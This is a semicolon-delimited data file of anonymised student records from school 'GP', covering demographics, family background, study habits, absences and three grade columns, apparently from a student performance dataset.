+"GP";"M";16;"U";"LE3";"T";2;2;"other";"other";"reputation";"mother";2;2;0;"no";"yes";"no";"yes";"yes";"yes";"yes";"no";5;4;4;2;4;5;0;"13";"13";12 +"GP";"F";15;"R";"GT3";"T";2;4;"services";"health";"course";"mother";1;3;0;"yes";"yes";"yes";"yes";"yes";"yes";"yes";"no";4;3;2;1;1;5;2;"10";"9";8 +"GP";"F";16;"U";"GT3";"T";2;2;"services";"services";"home";"mother";1;1;2;"no";"yes";"yes";"no";"no";"yes";"yes";"no";1;2;2;1;3;5;14;"6";"9";8 +"GP";"M";15;"U";"GT3";"T";2;2;"other";"other";"home";"mother";1;1;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"no";4;2;2;1;2;5;2;"12";"12";11 +"GP";"M";15;"U";"GT3";"T";4;2;"health";"services";"other";"mother";1;1;0;"no";"no";"yes";"no";"yes";"yes";"yes";"no";2;2;4;2;4;1;4;"15";"16";15 +"GP";"M";16;"U";"LE3";"A";3;4;"services";"other";"home";"mother";1;2;0;"yes";"yes";"no";"yes";"yes";"yes";"yes";"no";5;3;3;1;1;5;4;"11";"11";11 +"GP";"M";16;"U";"GT3";"T";4;4;"teacher";"teacher";"home";"mother";1;2;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"yes";4;4;5;5;5;5;16;"10";"12";11 +"GP";"M";15;"U";"GT3";"T";4;4;"health";"services";"home";"mother";1;2;0;"no";"yes";"yes";"no";"no";"yes";"yes";"no";5;4;2;3;4;5;0;"9";"11";12 +"GP";"M";15;"U";"GT3";"T";4;4;"services";"services";"reputation";"mother";2;2;0;"no";"yes";"no";"yes";"yes";"yes";"yes";"no";4;3;1;1;1;5;0;"17";"16";17 +"GP";"M";15;"R";"GT3";"T";4;3;"teacher";"at_home";"course";"mother";1;2;0;"no";"yes";"no";"yes";"yes";"yes";"yes";"yes";4;5;2;1;1;5;0;"17";"16";16 +"GP";"M";15;"U";"LE3";"T";3;3;"other";"other";"course";"mother";1;2;0;"no";"no";"no";"yes";"no";"yes";"yes";"no";5;3;2;1;1;2;0;"8";"10";12 +"GP";"M";16;"U";"GT3";"T";3;2;"other";"other";"home";"mother";1;1;0;"no";"yes";"yes";"no";"no";"yes";"yes";"no";5;4;3;1;1;5;0;"12";"14";15 +"GP";"F";15;"U";"GT3";"T";2;3;"other";"other";"other";"father";2;1;0;"no";"yes";"no";"yes";"yes";"yes";"no";"no";3;5;1;1;1;5;0;"8";"7";6 +"GP";"M";15;"U";"LE3";"T";4;3;"teacher";"services";"home";"mother";1;3;0;"no";"yes";"no";"yes";"yes";"yes";"yes";"no";5;4;3;1;1;4;2;"15";"16";18 +"GP";"M";16;"R";"GT3";"A";4;4;"other";"teacher";"reputation";"mother";2;3;0;"no";"yes";"no";"yes";"yes";"yes";"yes";"yes";2;4;3;1;1;5;7;"15";"16";15 +"GP";"F";15;"R";"GT3";"T";3;4;"services";"health";"course";"mother";1;3;0;"yes";"yes";"yes";"yes";"yes";"yes";"yes";"no";4;3;2;1;1;5;2;"12";"12";11 +"GP";"F";15;"R";"GT3";"T";2;2;"at_home";"other";"reputation";"mother";1;1;0;"yes";"yes";"yes";"yes";"yes";"yes";"no";"no";4;3;1;1;1;2;8;"14";"13";13 +"GP";"F";16;"U";"LE3";"T";2;2;"other";"other";"home";"mother";2;2;1;"no";"yes";"no";"yes";"no";"yes";"yes";"yes";3;3;3;1;2;3;25;"7";"10";11 +"GP";"M";15;"U";"LE3";"T";4;4;"teacher";"other";"home";"other";1;1;0;"no";"yes";"no";"no";"no";"yes";"yes";"yes";5;4;3;2;4;5;8;"12";"12";12 +"GP";"M";15;"U";"GT3";"T";4;4;"services";"teacher";"course";"father";1;2;0;"no";"yes";"no";"yes";"yes";"yes";"yes";"no";4;3;3;1;1;5;2;"19";"18";18 +"GP";"M";15;"U";"GT3";"T";2;2;"services";"services";"course";"father";1;1;0;"yes";"yes";"no";"no";"yes";"yes";"yes";"no";5;4;1;1;1;1;0;"8";"8";11 +"GP";"F";16;"U";"LE3";"T";2;2;"other";"at_home";"course";"father";2;2;1;"yes";"no";"no";"yes";"yes";"yes";"yes";"no";4;3;3;2;2;5;14;"10";"10";9 +"GP";"F";15;"U";"LE3";"A";4;3;"other";"other";"course";"mother";1;2;0;"yes";"yes";"yes";"yes";"yes";"yes";"yes";"yes";5;2;2;1;1;5;8;"8";"8";6 +"GP";"F";16;"U";"LE3";"A";3;3;"other";"services";"home";"mother";1;2;0;"no";"yes";"no";"no";"yes";"yes";"yes";"no";2;3;5;1;4;3;12;"11";"12";11 +"GP";"M";16;"U";"GT3";"T";4;3;"health";"services";"reputation";"mother";1;4;0;"no";"no";"no";"yes";"yes";"yes";"yes";"no";4;2;2;1;1;2;4;"19";"19";20 +"GP";"M";15;"U";"GT3";"T";4;2;"teacher";"other";"home";"mother";1;2;0;"no";"yes";"yes";"no";"yes";"yes";"no";"no";4;3;3;2;2;5;2;"15";"15";14 +"GP";"F";15;"U";"GT3";"T";4;4;"services";"teacher";"other";"father";1;2;1;"yes";"yes";"no";"yes";"no";"yes";"yes";"no";4;4;4;1;1;3;2;"7";"7";7 +"GP";"F";16;"U";"LE3";"T";2;2;"services";"services";"course";"mother";3;2;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"no";4;3;3;2;3;4;2;"12";"13";13 +"GP";"F";15;"U";"LE3";"T";4;2;"health";"other";"other";"mother";1;2;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"no";4;3;3;1;1;5;2;"11";"13";13 +"GP";"M";15;"U";"LE3";"A";4;2;"health";"health";"other";"father";2;1;1;"no";"no";"no";"no";"yes";"yes";"no";"no";5;5;5;3;4;5;6;"11";"11";10 +"GP";"F";15;"U";"GT3";"T";4;4;"services";"services";"course";"mother";1;1;0;"yes";"yes";"yes";"no";"yes";"yes";"yes";"no";3;3;4;2;3;5;0;"8";"10";11 +"GP";"F";15;"U";"LE3";"A";3;3;"other";"other";"other";"mother";1;1;0;"no";"no";"yes";"no";"yes";"yes";"yes";"no";5;3;4;4;4;1;6;"10";"13";13 +"GP";"F";16;"U";"GT3";"A";2;1;"other";"other";"other";"mother";1;2;0;"no";"no";"yes";"yes";"yes";"yes";"yes";"yes";5;3;4;1;1;2;8;"8";"9";10 +"GP";"F";15;"U";"GT3";"A";4;3;"services";"services";"reputation";"mother";1;2;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";4;3;2;1;1;1;0;"14";"15";15 +"GP";"M";15;"U";"GT3";"T";4;4;"teacher";"health";"reputation";"mother";1;2;0;"no";"yes";"no";"yes";"yes";"yes";"no";"no";3;2;2;1;1;5;4;"14";"15";15 +"GP";"M";15;"U";"LE3";"T";1;2;"other";"at_home";"home";"father";1;2;0;"yes";"yes";"no";"yes";"yes";"yes";"yes";"no";4;3;2;1;1;5;2;"9";"10";9 +"GP";"F";16;"U";"GT3";"T";4;2;"services";"other";"course";"mother";1;2;0;"no";"yes";"no";"no";"yes";"yes";"yes";"no";4;2;3;1;1;5;2;"15";"16";16 +"GP";"F";16;"R";"GT3";"T";4;4;"health";"teacher";"other";"mother";1;2;0;"no";"yes";"no";"yes";"yes";"yes";"no";"no";2;4;4;2;3;4;6;"10";"11";11 +"GP";"F";16;"U";"GT3";"T";1;1;"services";"services";"course";"father";4;1;0;"yes";"yes";"no";"yes";"no";"yes";"yes";"yes";5;5;5;5;5;5;6;"10";"8";11 +"GP";"F";16;"U";"LE3";"T";1;2;"other";"services";"reputation";"father";1;2;0;"yes";"no";"no";"yes";"yes";"yes";"yes";"no";4;4;3;1;1;1;4;"8";"10";9 +"GP";"F";16;"U";"GT3";"T";4;3;"teacher";"health";"home";"mother";1;3;0;"yes";"yes";"yes";"yes";"yes";"yes";"yes";"no";3;4;4;2;4;4;2;"10";"9";9 +"GP";"F";15;"U";"LE3";"T";4;3;"services";"services";"reputation";"father";1;2;0;"yes";"no";"no";"yes";"yes";"yes";"yes";"yes";4;4;4;2;4;2;0;"10";"10";10 +"GP";"F";16;"U";"LE3";"T";4;3;"teacher";"services";"course";"mother";3;2;0;"no";"yes";"no";"yes";"yes";"yes";"yes";"no";5;4;3;1;2;1;2;"16";"15";15 +"GP";"M";15;"U";"GT3";"A";4;4;"other";"services";"reputation";"mother";1;4;0;"no";"yes";"no";"yes";"no";"yes";"yes";"yes";1;3;3;5;5;3;4;"13";"13";12 +"GP";"F";16;"U";"GT3";"T";3;1;"services";"other";"course";"mother";1;4;0;"yes";"yes";"yes";"no";"yes";"yes";"yes";"no";4;3;3;1;2;5;4;"7";"7";6 +"GP";"F";15;"R";"LE3";"T";2;2;"health";"services";"reputation";"mother";2;2;0;"yes";"yes";"yes";"no";"yes";"yes";"yes";"no";4;1;3;1;3;4;2;"8";"9";8 +"GP";"F";15;"R";"LE3";"T";3;1;"other";"other";"reputation";"father";2;4;0;"no";"yes";"no";"no";"no";"yes";"yes";"no";4;4;2;2;3;3;12;"16";"16";16 +"GP";"M";16;"U";"GT3";"T";3;1;"other";"other";"reputation";"father";2;4;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"no";4;3;2;1;1;5;0;"13";"15";15 +"GP";"M";15;"U";"GT3";"T";4;2;"other";"other";"course";"mother";1;4;0;"no";"no";"no";"no";"yes";"yes";"yes";"no";3;3;3;1;1;3;0;"10";"10";10 +"GP";"F";15;"R";"GT3";"T";1;1;"other";"other";"reputation";"mother";1;2;2;"yes";"yes";"no";"no";"no";"yes";"yes";"yes";3;3;4;2;4;5;2;"8";"6";5 +"GP";"M";16;"U";"GT3";"T";3;1;"other";"other";"reputation";"mother";1;1;0;"no";"no";"no";"yes";"yes";"yes";"no";"no";5;3;2;2;2;5;2;"12";"12";14 +"GP";"F";16;"U";"GT3";"T";3;3;"other";"services";"home";"mother";1;2;0;"yes";"yes";"yes";"yes";"yes";"yes";"yes";"no";4;3;3;2;4;5;54;"11";"12";11 +"GP";"M";15;"U";"GT3";"T";4;3;"teacher";"other";"home";"mother";1;2;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";4;3;3;2;3;5;6;"9";"9";10 +"GP";"M";15;"U";"GT3";"T";4;0;"teacher";"other";"course";"mother";2;4;0;"no";"no";"no";"yes";"yes";"yes";"yes";"no";3;4;3;1;1;1;8;"11";"11";10 +"GP";"F";16;"U";"GT3";"T";2;2;"other";"other";"reputation";"mother";1;4;0;"no";"no";"yes";"no";"yes";"yes";"yes";"yes";5;2;3;1;3;3;0;"11";"11";11 +"GP";"M";17;"U";"GT3";"T";2;1;"other";"other";"home";"mother";2;1;3;"yes";"yes";"no";"yes";"yes";"no";"yes";"no";4;5;1;1;1;3;2;"8";"8";10 +"GP";"F";16;"U";"GT3";"T";3;4;"at_home";"other";"course";"mother";1;2;0;"no";"yes";"no";"no";"yes";"yes";"yes";"no";2;4;3;1;2;3;12;"5";"5";5 +"GP";"M";15;"U";"GT3";"T";2;3;"other";"services";"course";"father";1;1;0;"yes";"yes";"yes";"yes";"no";"yes";"yes";"yes";3;2;2;1;3;3;2;"10";"12";12 +"GP";"M";15;"U";"GT3";"T";2;3;"other";"other";"home";"mother";1;3;0;"yes";"no";"yes";"no";"no";"yes";"yes";"no";5;3;2;1;2;5;4;"11";"10";11 +"GP";"F";15;"U";"LE3";"T";3;2;"services";"other";"reputation";"mother";1;2;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"no";4;4;4;1;1;5;10;"7";"6";6 +"GP";"M";15;"U";"LE3";"T";2;2;"services";"services";"home";"mother";2;2;0;"no";"no";"yes";"yes";"yes";"yes";"yes";"no";5;3;3;1;3;4;4;"15";"15";15 +"GP";"F";15;"U";"GT3";"T";1;1;"other";"other";"home";"father";1;2;0;"no";"yes";"no";"yes";"no";"yes";"yes";"no";4;3;2;2;3;4;2;"9";"10";10 +"GP";"F";15;"U";"GT3";"T";4;4;"services";"services";"reputation";"father";2;2;2;"no";"no";"yes";"no";"yes";"yes";"yes";"yes";4;4;4;2;3;5;6;"7";"9";8 +"GP";"F";16;"U";"LE3";"T";2;2;"at_home";"other";"course";"mother";1;2;0;"no";"yes";"no";"no";"yes";"yes";"no";"no";4;3;4;1;2;2;4;"8";"7";6 +"GP";"F";15;"U";"GT3";"T";4;2;"other";"other";"reputation";"mother";1;3;0;"no";"yes";"no";"yes";"yes";"yes";"yes";"no";5;3;3;1;3;1;4;"13";"14";14 +"GP";"M";16;"U";"GT3";"T";2;2;"services";"other";"reputation";"father";2;2;1;"no";"no";"yes";"yes";"no";"yes";"yes";"no";4;4;2;1;1;3;12;"11";"10";10 +"GP";"M";16;"U";"LE3";"A";4;4;"teacher";"health";"reputation";"mother";1;2;0;"no";"yes";"no";"no";"yes";"yes";"no";"no";4;1;3;3;5;5;18;"8";"6";7 +"GP";"F";16;"U";"GT3";"T";3;3;"other";"other";"home";"mother";1;3;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"yes";4;3;3;1;3;4;0;"7";"7";8 +"GP";"F";15;"U";"GT3";"T";4;3;"services";"other";"reputation";"mother";1;1;0;"no";"no";"yes";"yes";"yes";"yes";"yes";"no";4;5;5;1;3;1;4;"16";"17";18 +"GP";"F";16;"U";"LE3";"T";3;1;"other";"other";"home";"father";1;2;0;"yes";"yes";"no";"no";"yes";"yes";"no";"no";3;3;3;2;3;2;4;"7";"6";6 +"GP";"F";16;"U";"GT3";"T";4;2;"teacher";"services";"home";"mother";2;2;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";5;3;3;1;1;1;0;"11";"10";10 +"GP";"M";15;"U";"LE3";"T";2;2;"services";"health";"reputation";"mother";1;4;0;"no";"yes";"no";"yes";"yes";"yes";"yes";"no";4;3;4;1;1;4;6;"11";"13";14 +"GP";"F";15;"R";"GT3";"T";1;1;"at_home";"other";"home";"mother";2;4;1;"yes";"yes";"yes";"yes";"yes";"yes";"yes";"no";3;1;2;1;1;1;2;"7";"10";10 +"GP";"M";16;"R";"GT3";"T";4;3;"services";"other";"reputation";"mother";2;1;0;"yes";"yes";"no";"yes";"no";"yes";"yes";"no";3;3;3;1;1;4;2;"11";"15";15 +"GP";"F";16;"U";"GT3";"T";2;1;"other";"other";"course";"mother";1;2;0;"no";"yes";"yes";"no";"yes";"yes";"no";"yes";4;3;5;1;1;5;2;"8";"9";10 +"GP";"F";16;"U";"GT3";"T";4;4;"other";"other";"reputation";"mother";1;1;0;"no";"no";"no";"yes";"no";"yes";"yes";"no";5;3;4;1;2;1;6;"11";"14";14 +"GP";"F";16;"U";"GT3";"T";4;3;"other";"at_home";"course";"mother";1;3;0;"yes";"yes";"yes";"no";"yes";"yes";"yes";"no";5;3;5;1;1;3;0;"7";"9";8 +"GP";"M";16;"U";"GT3";"T";4;4;"services";"services";"other";"mother";1;1;0;"yes";"yes";"yes";"yes";"yes";"yes";"yes";"no";4;5;5;5;5;4;14;"7";"7";5 +"GP";"M";16;"U";"GT3";"T";4;4;"services";"teacher";"other";"father";1;3;0;"no";"yes";"no";"yes";"yes";"yes";"yes";"yes";4;4;3;1;1;4;0;"16";"17";17 +"GP";"M";15;"U";"GT3";"T";4;4;"services";"other";"course";"mother";1;1;0;"no";"yes";"no";"yes";"no";"yes";"yes";"no";5;3;3;1;1;5;4;"10";"13";14 +"GP";"F";15;"U";"GT3";"T";3;2;"services";"other";"home";"mother";2;2;0;"yes";"yes";"yes";"no";"yes";"yes";"yes";"no";4;3;5;1;1;2;26;"7";"6";6 +"GP";"M";15;"U";"GT3";"A";3;4;"services";"other";"course";"mother";1;2;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";5;4;4;1;1;1;0;"16";"18";18 +"GP";"F";15;"U";"GT3";"A";3;3;"other";"health";"reputation";"father";1;4;0;"yes";"no";"no";"no";"yes";"yes";"no";"no";4;3;3;1;1;4;10;"10";"11";11 +"GP";"F";15;"U";"GT3";"T";2;2;"other";"other";"course";"mother";1;4;0;"yes";"yes";"yes";"no";"yes";"yes";"yes";"no";5;1;2;1;1;3;8;"7";"8";8 +"GP";"M";16;"U";"GT3";"T";3;3;"services";"other";"home";"father";1;3;0;"no";"yes";"no";"yes";"yes";"yes";"yes";"no";5;3;3;1;1;5;2;"16";"18";18 +"GP";"M";15;"R";"GT3";"T";4;4;"other";"other";"home";"father";4;4;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"yes";1;3;5;3;5;1;6;"10";"13";13 +"GP";"F";16;"U";"LE3";"T";4;4;"health";"health";"other";"mother";1;3;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"yes";5;4;5;1;1;4;4;"14";"15";16 +"GP";"M";15;"U";"LE3";"A";4;4;"teacher";"teacher";"course";"mother";1;1;0;"no";"no";"no";"yes";"yes";"yes";"yes";"no";5;5;3;1;1;4;6;"18";"19";19 +"GP";"F";16;"R";"GT3";"T";3;3;"services";"other";"reputation";"father";1;3;1;"yes";"yes";"no";"yes";"yes";"yes";"yes";"no";4;1;2;1;1;2;0;"7";"10";10 +"GP";"F";16;"U";"GT3";"T";2;2;"at_home";"other";"home";"mother";1;2;1;"yes";"no";"no";"yes";"yes";"yes";"yes";"no";3;1;2;1;1;5;6;"10";"13";13 +"GP";"M";15;"U";"LE3";"T";4;2;"teacher";"other";"course";"mother";1;1;0;"no";"no";"no";"no";"yes";"yes";"yes";"no";3;5;2;1;1;3;10;"18";"19";19 +"GP";"M";15;"R";"GT3";"T";2;1;"health";"services";"reputation";"mother";1;2;0;"no";"no";"no";"yes";"yes";"yes";"yes";"yes";5;4;2;1;1;5;8;"9";"9";9 +"GP";"M";16;"U";"GT3";"T";4;4;"teacher";"teacher";"course";"father";1;2;0;"no";"yes";"no";"yes";"yes";"yes";"yes";"no";5;4;4;1;2;5;2;"15";"15";16 +"GP";"M";15;"U";"GT3";"T";4;4;"other";"teacher";"reputation";"father";2;2;0;"no";"yes";"no";"yes";"yes";"yes";"no";"no";4;4;3;1;1;2;2;"11";"13";14 +"GP";"M";16;"U";"GT3";"T";3;3;"other";"services";"home";"father";2;1;0;"no";"no";"no";"yes";"yes";"yes";"yes";"no";5;4;2;1;1;5;0;"13";"14";13 +"GP";"M";17;"R";"GT3";"T";1;3;"other";"other";"course";"father";3;2;1;"no";"yes";"no";"yes";"yes";"yes";"yes";"no";5;2;4;1;4;5;20;"9";"7";8 +"GP";"M";15;"U";"GT3";"T";3;4;"other";"other";"reputation";"father";1;1;0;"no";"no";"no";"no";"yes";"yes";"yes";"no";3;4;3;1;2;4;6;"14";"13";13 +"GP";"F";15;"U";"GT3";"T";1;2;"at_home";"services";"course";"mother";1;2;0;"no";"no";"no";"no";"no";"yes";"yes";"no";3;2;3;1;2;1;2;"16";"15";15 +"GP";"M";15;"U";"GT3";"T";2;2;"services";"services";"home";"father";1;4;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";5;5;4;1;2;5;6;"16";"14";15 +"GP";"F";16;"U";"LE3";"T";2;4;"other";"health";"course";"father";2;2;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"yes";4;2;2;1;2;5;2;"13";"13";13 +"GP";"M";16;"U";"GT3";"T";4;4;"health";"other";"course";"mother";1;1;0;"no";"yes";"no";"yes";"yes";"yes";"yes";"no";3;4;4;1;4;5;18;"14";"11";13 +"GP";"F";16;"U";"GT3";"T";2;2;"other";"other";"home";"mother";1;2;0;"no";"no";"yes";"no";"yes";"yes";"yes";"yes";5;4;4;1;1;5;0;"8";"7";8 +"GP";"M";15;"U";"GT3";"T";3;4;"services";"services";"home";"father";1;1;0;"yes";"no";"no";"no";"yes";"yes";"yes";"no";5;5;5;3;2;5;0;"13";"13";12 +"GP";"F";15;"U";"LE3";"A";3;4;"other";"other";"home";"mother";1;2;0;"yes";"no";"no";"yes";"yes";"yes";"yes";"yes";5;3;2;1;1;1;0;"7";"10";11 +"GP";"F";19;"U";"GT3";"T";0;1;"at_home";"other";"course";"other";1;2;3;"no";"yes";"no";"no";"no";"no";"no";"no";3;4;2;1;1;5;2;"7";"8";9 +"GP";"M";18;"R";"GT3";"T";2;2;"services";"other";"reputation";"mother";1;1;2;"no";"yes";"no";"yes";"yes";"yes";"yes";"no";3;3;3;1;2;4;0;"7";"4";0 +"GP";"M";16;"R";"GT3";"T";4;4;"teacher";"teacher";"course";"mother";1;1;0;"no";"no";"yes";"yes";"yes";"yes";"yes";"no";3;5;5;2;5;4;8;"18";"18";18 +"GP";"F";15;"R";"GT3";"T";3;4;"services";"teacher";"course";"father";2;3;2;"no";"yes";"no";"no";"yes";"yes";"yes";"yes";4;2;2;2;2;5;0;"12";"0";0 +"GP";"F";15;"U";"GT3";"T";1;1;"at_home";"other";"course";"mother";3;1;0;"no";"yes";"no";"yes";"no";"yes";"yes";"yes";4;3;3;1;2;4;0;"8";"0";0 +"GP";"F";17;"U";"LE3";"T";2;2;"other";"other";"course";"father";1;1;0;"no";"yes";"no";"no";"yes";"yes";"yes";"yes";3;4;4;1;3;5;12;"10";"13";12 +"GP";"F";16;"U";"GT3";"A";3;4;"services";"other";"course";"father";1;1;0;"no";"no";"no";"no";"yes";"yes";"yes";"no";3;2;1;1;4;5;16;"12";"11";11 +"GP";"M";15;"R";"GT3";"T";3;4;"at_home";"teacher";"course";"mother";4;2;0;"no";"yes";"no";"no";"yes";"yes";"no";"yes";5;3;3;1;1;5;0;"9";"0";0 +"GP";"F";15;"U";"GT3";"T";4;4;"services";"at_home";"course";"mother";1;3;0;"no";"yes";"no";"yes";"yes";"yes";"yes";"yes";4;3;3;1;1;5;0;"11";"0";0 +"GP";"M";17;"R";"GT3";"T";3;4;"at_home";"other";"course";"mother";3;2;0;"no";"no";"no";"no";"yes";"yes";"no";"no";5;4;5;2;4;5;0;"10";"0";0 +"GP";"F";16;"U";"GT3";"A";3;3;"other";"other";"course";"other";2;1;2;"no";"yes";"no";"yes";"no";"yes";"yes";"yes";4;3;2;1;1;5;0;"4";"0";0 +"GP";"M";16;"U";"LE3";"T";1;1;"services";"other";"course";"mother";1;2;1;"no";"no";"no";"no";"yes";"yes";"no";"yes";4;4;4;1;3;5;0;"14";"12";12 +"GP";"F";15;"U";"GT3";"T";4;4;"teacher";"teacher";"course";"mother";2;1;0;"no";"no";"no";"yes";"yes";"yes";"yes";"no";4;3;2;1;1;5;0;"16";"16";15 +"GP";"M";15;"U";"GT3";"T";4;3;"teacher";"services";"course";"father";2;4;0;"yes";"yes";"no";"no";"yes";"yes";"yes";"no";2;2;2;1;1;3;0;"7";"9";0 +"GP";"M";16;"U";"LE3";"T";2;2;"services";"services";"reputation";"father";2;1;2;"no";"yes";"no";"yes";"yes";"yes";"yes";"no";2;3;3;2;2;2;8;"9";"9";9 +"GP";"F";15;"U";"GT3";"T";4;4;"teacher";"services";"course";"mother";1;3;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";4;2;2;1;1;5;2;"9";"11";11 +"GP";"F";16;"U";"LE3";"T";1;1;"at_home";"at_home";"course";"mother";1;1;0;"no";"no";"no";"no";"yes";"yes";"yes";"no";3;4;4;3;3;1;2;"14";"14";13 +"GP";"M";17;"U";"GT3";"T";2;1;"other";"other";"home";"mother";1;1;3;"no";"yes";"no";"no";"yes";"yes";"yes";"no";5;4;5;1;2;5;0;"5";"0";0 +"GP";"F";15;"U";"GT3";"T";1;1;"other";"services";"course";"father";1;2;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"no";4;4;2;1;2;5;0;"8";"11";11 +"GP";"F";15;"U";"GT3";"T";3;2;"health";"services";"home";"father";1;2;3;"no";"yes";"no";"no";"yes";"yes";"yes";"no";3;3;2;1;1;3;0;"6";"7";0 +"GP";"F";15;"U";"GT3";"T";1;2;"at_home";"other";"course";"mother";1;2;0;"no";"yes";"yes";"no";"no";"yes";"yes";"no";4;3;2;1;1;5;2;"10";"11";11 +"GP";"M";16;"U";"GT3";"T";4;4;"teacher";"teacher";"course";"mother";1;1;0;"no";"yes";"no";"no";"yes";"no";"yes";"yes";3;3;2;2;1;5;0;"7";"6";0 +"GP";"M";15;"U";"LE3";"A";2;1;"services";"other";"course";"mother";4;1;3;"no";"no";"no";"no";"yes";"yes";"yes";"no";4;5;5;2;5;5;0;"8";"9";10 +"GP";"M";18;"U";"LE3";"T";1;1;"other";"other";"course";"mother";1;1;3;"no";"no";"no";"no";"yes";"no";"yes";"yes";2;3;5;2;5;4;0;"6";"5";0 +"GP";"M";16;"U";"LE3";"T";2;1;"at_home";"other";"course";"mother";1;1;1;"no";"no";"no";"yes";"yes";"yes";"no";"yes";4;4;4;3;5;5;6;"12";"13";14 +"GP";"F";15;"R";"GT3";"T";3;3;"services";"services";"reputation";"other";2;3;2;"no";"yes";"yes";"yes";"yes";"yes";"yes";"yes";4;2;1;2;3;3;8;"10";"10";10 +"GP";"M";19;"U";"GT3";"T";3;2;"services";"at_home";"home";"mother";1;1;3;"no";"yes";"no";"no";"yes";"no";"yes";"yes";4;5;4;1;1;4;0;"5";"0";0 +"GP";"F";17;"U";"GT3";"T";4;4;"other";"teacher";"course";"mother";1;1;0;"yes";"yes";"no";"no";"yes";"yes";"no";"yes";4;2;1;1;1;4;0;"11";"11";12 +"GP";"M";15;"R";"GT3";"T";2;3;"at_home";"services";"course";"mother";1;2;0;"yes";"no";"yes";"yes";"yes";"yes";"no";"no";4;4;4;1;1;1;2;"11";"8";8 +"GP";"M";17;"R";"LE3";"T";1;2;"other";"other";"reputation";"mother";1;1;0;"no";"no";"no";"no";"yes";"yes";"no";"no";2;2;2;3;3;5;8;"16";"12";13 +"GP";"F";18;"R";"GT3";"T";1;1;"at_home";"other";"course";"mother";3;1;3;"no";"yes";"no";"yes";"no";"yes";"no";"no";5;2;5;1;5;4;6;"9";"8";10 +"GP";"M";16;"R";"GT3";"T";2;2;"at_home";"other";"course";"mother";3;1;0;"no";"no";"no";"no";"no";"yes";"no";"no";4;2;2;1;2;3;2;"17";"15";15 +"GP";"M";16;"U";"GT3";"T";3;3;"other";"services";"course";"father";1;2;1;"no";"yes";"yes";"no";"yes";"yes";"yes";"yes";4;5;5;4;4;5;4;"10";"12";12 +"GP";"M";17;"R";"LE3";"T";2;1;"at_home";"other";"course";"mother";2;1;2;"no";"no";"no";"yes";"yes";"no";"yes";"yes";3;3;2;2;2;5;0;"7";"6";0 +"GP";"M";15;"R";"GT3";"T";3;2;"other";"other";"course";"mother";2;2;2;"yes";"yes";"no";"no";"yes";"yes";"yes";"yes";4;4;4;1;4;3;6;"5";"9";7 +"GP";"M";16;"U";"LE3";"T";1;2;"other";"other";"course";"mother";2;1;1;"no";"no";"no";"yes";"yes";"yes";"no";"no";4;4;4;2;4;5;0;"7";"0";0 +"GP";"M";17;"U";"GT3";"T";1;3;"at_home";"services";"course";"father";1;1;0;"no";"no";"no";"no";"yes";"no";"yes";"no";5;3;3;1;4;2;2;"10";"10";10 +"GP";"M";17;"R";"LE3";"T";1;1;"other";"services";"course";"mother";4;2;3;"no";"no";"no";"yes";"yes";"no";"no";"yes";5;3;5;1;5;5;0;"5";"8";7 +"GP";"M";16;"U";"GT3";"T";3;2;"services";"services";"course";"mother";2;1;1;"no";"yes";"no";"yes";"no";"no";"no";"no";4;5;2;1;1;2;16;"12";"11";12 +"GP";"M";16;"U";"GT3";"T";2;2;"other";"other";"course";"father";1;2;0;"no";"no";"no";"no";"yes";"no";"yes";"no";4;3;5;2;4;4;4;"10";"10";10 +"GP";"F";16;"U";"GT3";"T";4;2;"health";"services";"home";"father";1;2;0;"no";"no";"yes";"no";"yes";"yes";"yes";"yes";4;2;3;1;1;3;0;"14";"15";16 +"GP";"F";16;"U";"GT3";"T";2;2;"other";"other";"home";"mother";1;2;0;"no";"yes";"yes";"no";"no";"yes";"yes";"no";5;1;5;1;1;4;0;"6";"7";0 +"GP";"F";16;"U";"GT3";"T";4;4;"health";"health";"reputation";"mother";1;2;0;"no";"yes";"yes";"no";"yes";"yes";"yes";"yes";4;4;2;1;1;3;0;"14";"14";14 +"GP";"M";16;"U";"GT3";"T";3;4;"other";"other";"course";"father";3;1;2;"no";"yes";"no";"yes";"no";"yes";"yes";"no";3;4;5;2;4;2;0;"6";"5";0 +"GP";"M";16;"U";"GT3";"T";1;0;"other";"other";"reputation";"mother";2;2;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"yes";4;3;2;1;1;3;2;"13";"15";16 +"GP";"M";17;"U";"LE3";"T";4;4;"teacher";"other";"reputation";"mother";1;2;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";4;4;4;1;3;5;0;"13";"11";10 +"GP";"F";16;"U";"GT3";"T";1;3;"at_home";"services";"home";"mother";1;2;3;"no";"no";"no";"yes";"no";"yes";"yes";"yes";4;3;5;1;1;3;0;"8";"7";0 +"GP";"F";16;"U";"LE3";"T";3;3;"other";"other";"reputation";"mother";2;2;0;"no";"yes";"yes";"yes";"yes";"yes";"yes";"no";4;4;5;1;1;4;4;"10";"11";9 +"GP";"M";17;"U";"LE3";"T";4;3;"teacher";"other";"course";"mother";2;2;0;"no";"no";"yes";"yes";"yes";"yes";"yes";"no";4;4;4;4;4;4;4;"10";"9";9 +"GP";"F";16;"U";"GT3";"T";2;2;"services";"other";"reputation";"mother";2;2;0;"no";"no";"yes";"yes";"no";"yes";"yes";"no";3;4;4;1;4;5;2;"13";"13";11 +"GP";"M";17;"U";"GT3";"T";3;3;"other";"other";"reputation";"father";1;2;0;"no";"no";"no";"yes";"no";"yes";"yes";"no";4;3;4;1;4;4;4;"6";"5";6 +"GP";"M";16;"R";"GT3";"T";4;2;"teacher";"services";"other";"mother";1;1;0;"no";"yes";"no";"yes";"yes";"yes";"yes";"yes";4;3;3;3;4;3;10;"10";"8";9 